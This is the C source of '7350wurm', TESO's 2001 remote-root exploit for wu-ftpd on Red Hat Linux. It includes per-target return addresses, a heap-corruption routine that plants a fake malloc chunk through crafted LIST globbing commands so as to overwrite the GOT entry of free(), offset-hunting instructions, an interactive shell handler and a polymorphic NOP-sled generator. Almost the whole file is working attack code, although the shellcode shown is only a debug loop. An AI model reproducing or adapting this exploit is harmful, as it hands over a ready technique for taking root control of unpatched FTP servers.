/* 7350wurm - x86/linux wu ftpd redhat-mess exploit * * TESO CONFIDENTIAL - SOURCE MATERIALS * * This is unpublished proprietary source code of TESO Security. * * The contents of these coded instructions, statements and computer * programs may not be disclosed to third parties, copied or duplicated in * any form, in whole or in part, without the prior written permission of * TESO Security. This includes especially the Bugtraq mailing list, the * www.hack.co.za website and any public exploit archive. * * The distribution restrictions cover the entire file, including this * header notice. (This means, you are not allowed to reproduce the header). * * (C) COPYRIGHT TESO Security, 2001 * All Rights Reserved * ***************************************************************************** * thanks to bnuts for hinting me about this straight way on redhat * on non-redhat's its way more complicated (researched by dvorak, zip, * lorian, smiler and me), but still possible through heap fragmentation * and some helpful memleaks in wuftpd ;) */ #define VERSION "0.0.1" #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include /* HOWTO get the offsets: in this order, get: 1. buf_addr is the mallocated space of the first RETR line we send. the direct address malloc gives is used. just use ltrace: 2223 [080551b0] malloc(504) = 0x08089300 2. chunk_start is the relative number of bytes from the beginning of buf_start to where globlist[1] will be. i expect it to be very low. its 4 on redhat 6.1 for example. play around to find it. you can see what is passed to the segfaulting free(). 3. fakechunk_rel is the relative number of bytes from the beginning of buf_start to where we want to create our fakechunk. choose wisely, not too low, since the upper parts of buf_addr's buffer are destroyed by malloc functions again. choose 16-48 or so. 4. retaddr something buf_addr + 64 or so 5. retloc GOT of free */ typedef struct { char * desc; /* distribution */ char * banner; /* ftp banner part */ unsigned char * shellcode; unsigned int shellcode_len; unsigned long int retloc; /* return address location */ unsigned long int retaddr; /* return address */ /* bytes in first part of LIST parameter until where the * free pointer is */ unsigned int chunk_start; /* absolute address of byte after chunk_start + 4 */ unsigned long int buf_addr; /* where we store our fakechunk, relative from buf_addr */ unsigned long int fakechunk_rel; } tgt_type; /* shellcodes */ unsigned char x86_lnx_loop[] = "\xeb\xfe"; tgt_type targets[] = { { "DEBUG: crash target", NULL, x86_lnx_loop, sizeof (x86_lnx_loop) - 1, 0x55555555, 0x66666666, 20, 0x73507350, 40 }, { "RedHat 6.1 (Cartman) [wu-ftpd-2.5.0-9.rpm]", "Version wu-2.5.0(1) Tue Sep 21 16:48:12 EDT 1999", x86_lnx_loop, sizeof (x86_lnx_loop) - 1, // 0x55555555, 0x66666666, 4, 0x08089300, 16 }, // 0x55555555, 0x66666666, 4, 0x08089300, 64 }, 0x08089fd0, 0x08089fd0, 4, 0x08089300, 64 }, { NULL, NULL, 0, 0, 0, 0 }, }; /* FTP related stuff */ char * username = "ftp"; /* can be changed with -u */ char * password = "mozilla@"; /* can be changed with -p */ char * ftp_banner = NULL; int verbose = 0; void ftp_escape (unsigned char *buf, unsigned long int buflen); void ftp_recv_until (int sock, char *buff, int len, char *begin); int ftp_login (char *host, char *user, char *pass); void usage (char *progname); void xp (int fd); int xp_build (tgt_type *tgt, unsigned char *buf, unsigned long int buf_len); void xp_buildchunk (tgt_type *tgt, unsigned char *cspace, unsigned int clen); void shell (int sock); void hexdump (char *desc, unsigned char *data, unsigned int amount); /* imported from shellkit */ unsigned long int random_get (unsigned long int low, unsigned long int high); void random_init (void); int bad (unsigned char u); int badstr (unsigned char *code, int code_len, unsigned char *bad, int bad_len); unsigned long int x86_nop_rwreg (void); unsigned long int x86_nop_xfer (char *xferstr); unsigned int x86_nop (unsigned char *dest, unsigned int dest_len, unsigned char *bad, int bad_len); #define BSET(dest, len, val, bw) { \ dest &= ~(((unsigned char) ~0) >> bw); /* clear lower bits */ \ dest |= val << (8 - bw - len); /* set value bits */ \ bw += len; \ } /* imported from network.c */ #define NET_CONNTIMEOUT 60 #define NET_READTIMEOUT 20 int net_conntimeout = NET_CONNTIMEOUT; unsigned long int net_resolve (char *host); int net_connect (struct sockaddr_in *cs, char *server, unsigned short int port, int sec); void net_write (int fd, const char *str, ...); int net_rtimeout (int fd, int sec); int net_rlinet (int fd, char *buf, int bufsize, int sec); void usage (char *progname) { fprintf (stderr, "usage: %s [-t ] [-u ] " "[-p ] \n\n", progname); fprintf (stderr, "-t num\tchoose target (0 for list)\n" "-u user\tusername to login to FTP (default: \"ftp\")\n" "-p pass\tpassword to use (default: \"mozilla@\")\n" "host\tIP address or fqhn to connect to\n"); fprintf (stderr, "\n"); exit (EXIT_FAILURE); } int main (int argc, char *argv[]) { int safeguard = 0; char c; char * progname; char * dest; int fd; tgt_type * tgt; int tgt_num = -1; unsigned char xpbuf[512]; fprintf (stderr, "7350wurm - x86/linux wuftpd <= 2.6.1 redhat-mess remote root\n" "team teso (thx bnuts!).\n\n"); progname = argv[0]; if (argc < 2) usage (progname); while ((c = getopt (argc, argv, "t:u:p:")) != EOF) { switch (c) { case 't': tgt_num = atoi (optarg); break; case 'u': username = optarg; break; case 'p': password = optarg; break; default: usage (argv[0]); break; } } if (tgt_num == 0 || tgt_num >= (sizeof (targets) / sizeof (tgt_type))) { if (tgt_num != 0) printf ("WARNING: target out of list. giving list\n\n"); printf ("num . description\n"); printf ("----+-------------------------------------------------------\n"); for ( ; targets[tgt_num].desc != NULL ; ++tgt_num) printf ("%3d | %s\n", tgt_num + 1, targets[tgt_num].desc); printf (" '\n"); exit (EXIT_SUCCESS); } tgt = &targets[tgt_num - 1]; if ((argc - optind) != 1) usage (argv[0]); dest = argv[argc - 1]; if (dest[0] == '-') usage (progname); printf ("# trying to log into %s with (%s/%s)\n", dest, username, password); fd = ftp_login (dest, username, password); if (fd <= 0) { fprintf (stderr, "failed to connect (user/pass correct?)\n"); exit (EXIT_FAILURE); } printf ("# connected.\n"); getchar(); printf ("# banner: %s\n", (ftp_banner == NULL) ? "???" : ftp_banner); while (safeguard-- > 0) { net_write (fd, "RNFR ././././\n"); ftp_recv_until (fd, xpbuf, sizeof (xpbuf), "350 "); } net_write (fd, "HELP AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n"); ftp_recv_until (fd, xpbuf, sizeof (xpbuf), ""); printf ("\n# 1. sending first bait to force globlist[1] = ourval\n"); /* 511 bytes we have theoretically, but lets consider possible 0xff * chars we have to escape later. */ xp_build (tgt, xpbuf, 500 - strlen ("LIST ")); ftp_escape (xpbuf, sizeof (xpbuf)); printf ("xpbuf (%d): %s\n", strlen (xpbuf), xpbuf); net_write (fd, "LIST %s\n", xpbuf); ftp_recv_until (fd, xpbuf, sizeof (xpbuf), "550 "); printf ("\n# 2. triggering free(globlist[1])\n"); net_write (fd, "LIST ~{\n"); close (fd); exit (EXIT_SUCCESS); shell (fd); exit (EXIT_SUCCESS); } #define ADDR_STORE(ptr,addr){\ ((unsigned char *) (ptr))[0] = (addr) & 0xff;\ ((unsigned char *) (ptr))[1] = ((addr) >> 8) & 0xff;\ ((unsigned char *) (ptr))[2] = ((addr) >> 16) & 0xff;\ ((unsigned char *) (ptr))[3] = ((addr) >> 24) & 0xff;\ } /* LIST , buf being buf_len bytes long * method by bnuts, thanks! (now you have one friend at least ;) */ int xp_build (tgt_type *tgt, unsigned char *buf, unsigned long int buf_len) { unsigned char * wl = buf; /* walker */ memset (buf, '\0', buf_len); memset (wl, 'I', buf_len - 16 - strlen ("~{}{}") - 1); wl[0] = '~'; wl[1] = '{'; wl[2] = '7'; wl[3] = '/'; /* gimme a 550 "unknown user" ! */ /* put our fake chunk's address at where globlist[1] will be */ ADDR_STORE (wl + tgt->chunk_start, tgt->buf_addr + tgt->fakechunk_rel); /* and build the fake chunk */ xp_buildchunk (tgt, wl + tgt->fakechunk_rel, strlen (wl + tgt->fakechunk_rel)); wl += strlen (wl); wl[0] = '}'; /* second part {BBB...BBB} */ wl[1] = '{'; wl += 2; memset (wl, 'B', buf_len - (wl - buf) - 3); wl += strlen (wl); wl[0] = '}'; wl[1] = '\0'; wl += 2; return (wl - buf); } void xp_buildchunk (tgt_type *tgt, unsigned char *cspace, unsigned int clen) { fprintf (stderr, "building chunk: ([0x%08lx] = 0x%08lx) in %d bytes\n", tgt->retloc, tgt->retaddr, clen); /* easy, straight forward technique */ ADDR_STORE (&cspace[-12], 0xffffffff); ADDR_STORE (&cspace[-8], 0xffffffff); ADDR_STORE (&cspace[-4], 0xfffffffc); cspace[0] = 'A'; ADDR_STORE (&cspace[1], tgt->retloc - 12); ADDR_STORE (&cspace[5], tgt->retaddr - 12); } void shell (int sock) { int l; char buf[512]; fd_set rfds; while (1) { FD_SET (0, &rfds); FD_SET (sock, &rfds); select (sock + 1, &rfds, NULL, NULL, NULL); if (FD_ISSET (0, &rfds)) { l = read (0, buf, sizeof (buf)); if (l <= 0) { perror ("read user"); exit (EXIT_FAILURE); } write (sock, buf, l); } if (FD_ISSET (sock, &rfds)) { l = read (sock, buf, sizeof (buf)); if (l <= 0) { perror ("read remote"); exit (EXIT_FAILURE); } write (1, buf, l); } } } /*** FTP functions */ /* FTP is TELNET is SHIT. */ void ftp_escape (unsigned char *buf, unsigned long int buflen) { unsigned char * obuf = buf; for ( ; *buf != '\0' ; ++buf) { if (*buf == 0xff && (((buf - obuf) + strlen (buf) + 1) < buflen)) { memmove (buf + 1, buf, strlen (buf) + 1); buf += 1; } } } void ftp_recv_until (int sock, char *buff, int len, char *begin) { char dbuff[2048]; if (buff == NULL) { buff = dbuff; len = sizeof (dbuff); } do { memset (buff, '\x00', len); if (net_rlinet (sock, buff, len - 1, 20) <= 0) return; } while (memcmp (buff, begin, strlen (begin)) != 0); return; } int ftp_login (char *host, char *user, char *pass) { int ftpsock; char resp[512]; ftpsock = net_connect (NULL, host, 21, 30); if (ftpsock <= 0) return (0); memset (resp, '\x00', sizeof (resp)); if (net_rlinet (ftpsock, resp, sizeof (resp) - 1, 20) <= 0) goto flerr; /* handle multiline pre-login stuff (rfc violation !) */ if (memcmp (resp, "220-", 4) == 0) ftp_recv_until (ftpsock, resp, sizeof (resp), "220 "); if (memcmp (resp, "220 ", 4) != 0) { if (verbose) printf ("\n%s\n", resp); goto flerr; } ftp_banner = strdup (resp); net_write (ftpsock, "USER %s\n", user); memset (resp, '\x00', sizeof (resp)); if (net_rlinet (ftpsock, resp, sizeof (resp) - 1, 20) <= 0) goto flerr; if (memcmp (resp, "331 ", 4) != 0) { if (verbose) printf ("\n%s\n", resp); goto flerr; } net_write (ftpsock, "PASS %s\n", pass); memset (resp, '\x00', sizeof (resp)); if (net_rlinet (ftpsock, resp, sizeof (resp) - 1, 20) <= 0) goto flerr; /* handle multiline responses from ftp servers */ if (memcmp (resp, "230-", 4) == 0) ftp_recv_until (ftpsock, resp, sizeof (resp), "230 "); if (memcmp (resp, "230 ", 4) != 0) { if (verbose) printf ("\n%s\n", resp); goto flerr; } return (ftpsock); flerr: if (ftpsock > 0) close (ftpsock); return (0); } /* ripped from zodiac */ void hexdump (char *desc, unsigned char *data, unsigned int amount) { unsigned int dp, p; /* data pointer */ const char trans[] = "................................ !\"#$%&'()*+,-./0123456789" ":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm" "nopqrstuvwxyz{|}~...................................." "....................................................." "........................................"; printf ("/* %s, %u bytes */\n", desc, amount); for (dp = 1; dp <= amount; dp++) { fprintf (stderr, "%02x ", data[dp-1]); if ((dp % 8) == 0) fprintf (stderr, " "); if ((dp % 16) == 0) { fprintf (stderr, "| "); p = dp; for (dp -= 16; dp < p; dp++) fprintf (stderr, "%c", trans[data[dp]]); fflush (stderr); fprintf (stderr, "\n"); } fflush (stderr); } if ((amount % 16) != 0) { p = dp = 16 - (amount % 16); for (dp = p; dp > 0; dp--) { fprintf (stderr, " "); if (((dp % 8) == 0) && (p != 8)) fprintf (stderr, " "); fflush (stderr); } fprintf (stderr, " | "); for (dp = (amount - (16 - p)); dp < amount; dp++) fprintf (stderr, "%c", trans[data[dp]]); fflush (stderr); } fprintf (stderr, "\n"); return; } unsigned long int net_resolve (char *host) { long i; struct hostent *he; i = inet_addr(host); if (i == -1) { he = gethostbyname(host); if (he == NULL) { return (0); } else { return (*(unsigned long *) he->h_addr); } } return (i); } int net_connect (struct sockaddr_in *cs, char *server, unsigned short int port, int sec) { int n, len, error, flags; int fd; struct timeval tv; fd_set rset, wset; struct sockaddr_in csa; if (cs == NULL) cs = &csa; /* first allocate a socket */ cs->sin_family = AF_INET; cs->sin_port = htons (port); fd = socket (cs->sin_family, SOCK_STREAM, 0); if (fd == -1) return (-1); if (!(cs->sin_addr.s_addr = net_resolve (server))) { close (fd); return (-1); } flags = fcntl (fd, F_GETFL, 0); if (flags == -1) { close (fd); return (-1); } n = fcntl (fd, F_SETFL, flags | O_NONBLOCK); if (n == -1) { close (fd); return (-1); } error = 0; n = connect (fd, (struct sockaddr *) cs, sizeof (struct sockaddr_in)); if (n < 0) { if (errno != EINPROGRESS) { close (fd); return (-1); } } if (n == 0) goto done; FD_ZERO(&rset); FD_ZERO(&wset); FD_SET(fd, &rset); FD_SET(fd, &wset); tv.tv_sec = sec; tv.tv_usec = 0; n = select(fd + 1, &rset, &wset, NULL, &tv); if (n == 0) { close(fd); errno = ETIMEDOUT; return (-1); } if (n == -1) return (-1); if (FD_ISSET(fd, &rset) || FD_ISSET(fd, &wset)) { if (FD_ISSET(fd, &rset) && FD_ISSET(fd, &wset)) { len = sizeof(error); if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) { errno = ETIMEDOUT; return (-1); } if (error == 0) { goto done; } else { errno = error; return (-1); } } } else return (-1); done: n = fcntl(fd, F_SETFL, flags); if (n == -1) return (-1); return (fd); } void net_write (int fd, const char *str, ...) { char tmp[1025]; va_list vl; int i; va_start(vl, str); memset(tmp, 0, sizeof(tmp)); i = vsnprintf(tmp, sizeof(tmp), str, vl); va_end(vl); #ifdef DEBUG printf("[snd] %s\n", tmp); #endif send(fd, tmp, i, 0); return; } int net_rlinet (int fd, char *buf, int bufsize, int sec) { int n; unsigned long int rb = 0; struct timeval tv_start, tv_cur; memset(buf, '\0', bufsize); (void) gettimeofday(&tv_start, NULL); do { (void) gettimeofday(&tv_cur, NULL); if (sec > 0) { if ((((tv_cur.tv_sec * 1000000) + (tv_cur.tv_usec)) - ((tv_start.tv_sec * 1000000) + (tv_start.tv_usec))) > (sec * 1000000)) { return (-1); } } n = net_rtimeout(fd, NET_READTIMEOUT); if (n <= 0) { return (-1); } n = read(fd, buf, 1); if (n <= 0) { return (n); } rb++; if (*buf == '\n') return (rb); buf++; if (rb >= bufsize) return (-2); /* buffer full */ } while (1); } int net_rtimeout (int fd, int sec) { fd_set rset; struct timeval tv; int n, error, flags; error = 0; flags = fcntl(fd, F_GETFL, 0); n = fcntl(fd, F_SETFL, flags | O_NONBLOCK); if (n == -1) return (-1); FD_ZERO(&rset); FD_SET(fd, &rset); tv.tv_sec = sec; tv.tv_usec = 0; /* now we wait until more data is received then the tcp low level watermark, * which should be setted to 1 in this case (1 is default) */ n = select(fd + 1, &rset, NULL, NULL, &tv); if (n == 0) { n = fcntl(fd, F_SETFL, flags); if (n == -1) return (-1); errno = ETIMEDOUT; return (-1); } if (n == -1) { return (-1); } /* socket readable ? */ if (FD_ISSET(fd, &rset)) { n = fcntl(fd, F_SETFL, flags); if (n == -1) return (-1); return (1); } else { n = fcntl(fd, F_SETFL, flags); if (n == -1) return (-1); errno = ETIMEDOUT; return (-1); } } /* imported from shellkit */ unsigned long int random_get (unsigned long int low, unsigned long int high) { unsigned long int val; if (low > high) { low ^= high; high ^= low; low ^= high; } val = (unsigned long int) random (); val %= (high - low); val += low; return (val); } void random_init (void) { srandom (time (NULL)); } int bad (unsigned char u) { if (u == '\x00' || u == '\x0a' || u == '\x0d' || u == '\x25') return (1); return (0); } int badstr (unsigned char *code, int code_len, unsigned char *bad, int bad_len) { int n; for (code_len -= 1 ; code_len >= 0 ; --code_len) { for (n = 0 ; n < bad_len ; ++n) if (code[code_len] == bad[n]) return (1); } return (0); } unsigned long int x86_nop_rwreg (void) { unsigned long int reg; do { reg = random_get (0, 7); } while (reg == 4); /* 4 = $esp */ return (reg); } unsigned long int x86_nop_xfer (char *xferstr) { int bw = 0; /* bitfield walker */ unsigned char tgt; /* resulting instruction */ /* in a valid xferstr we trust */ for (tgt = 0 ; xferstr != NULL && xferstr[0] != '\0' ; ++xferstr) { switch (xferstr[0]) { case ('0'): BSET (tgt, 1, 0, bw); break; case ('1'): BSET (tgt, 1, 1, bw); break; case ('r'): BSET (tgt, 3, x86_nop_rwreg (), bw); break; case ('.'): break; /* ignore */ default: fprintf (stderr, "on steroids, huh?\n"); exit (EXIT_FAILURE); break; } } if (bw != 8) { fprintf (stderr, "invalid bitwalker: bw = %d\n", bw); exit (EXIT_FAILURE); } return (tgt); } unsigned int x86_nop (unsigned char *dest, unsigned int dest_len, unsigned char *bad, int bad_len) { int walk; int bcount; /* bad counter */ char * xs; char * xferstr[] = { "0011.0111", /* aaa */ "0011.1111", /* aas */ "1001.1000", /* cbw */ "1001.1001", /* cdq */ "1111.1000", /* clc */ "1111.1100", /* cld */ "1111.0101", /* cmc */ "0010.0111", /* daa */ "0010.1111", /* das */ "0100.1r", /* dec */ "0100.0r", /* inc */ "1001.1111", /* lahf */ "1001.0000", /* nop */ "1111.1001", /* stc */ "1111.1101", /* std */ "1001.0r", /* xchg al, */ NULL, }; unsigned char tgt; for (walk = 0 ; dest_len > 0 ; dest_len -= 1 , walk += 1) { /* avoid endless loops on excessive badlisting */ for (bcount = 0 ; bcount < 16384 ; ++bcount) { xs = xferstr[random_get (0, 15)]; tgt = x86_nop_xfer (xs); dest[walk] = tgt; if (badstr (&dest[walk], 1, bad, bad_len) == 0) break; } /* should not happen */ if (bcount >= 16384) { fprintf (stderr, "too much blacklisting, giving up...\n"); exit (EXIT_FAILURE); } } return (walk); }